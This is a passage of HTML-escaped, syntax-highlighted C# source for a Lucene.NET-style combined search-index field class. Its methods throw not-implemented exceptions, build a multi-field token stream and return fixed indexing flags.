&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;135&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;136&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;137&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;138&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;139&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;140&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;141&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;142&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StringValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;143&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;144&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;145&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//StringBuilder sb = new StringBuilder();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;146&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;147&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;148&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    sb.AppendLine(f.StringValue());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;149&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;150&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return sb.ToString();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;151&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;152&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;153&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ReaderValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;154&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;155&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;156&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//var combined = default(TextReader);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;157&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;158&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;159&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    combined = &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;160&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        combined == default(TextReader) &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;161&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        ? f.ReaderValue() &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;162&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        : combined.Union(f.ReaderValue());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;163&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;164&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return combined;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;165&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;166&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;167&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;168&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;169&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;170&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//var ms = new MemoryStream();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;171&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;172&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;173&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    var bytes = f.BinaryValue();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;174&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    ms.Write(bytes, 0, 0);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;175&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;176&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;177&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return ms.ToArray();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;178&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;179&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;180&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStreamValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;181&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;182&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Select&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;183&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;184&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;185&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;186&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;187&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;188&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStreamValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;189&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StringReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StringValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;190&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;191&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;192&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStored&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;193&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;194&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;195&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;196&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;197&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsIndexed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;198&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;199&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;201&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;202&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTokenized&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;203&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;204&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;205&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;206&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;207&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsCompressed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;208&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;209&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;210&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;211&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;212&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTermVectorStored&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;213&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;214&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;215&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;216&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;217&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStoreOffsetWithTermVector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;218&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;219&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;220&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;221&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;222&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsStorePositionWithTermVector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;223&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;224&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span 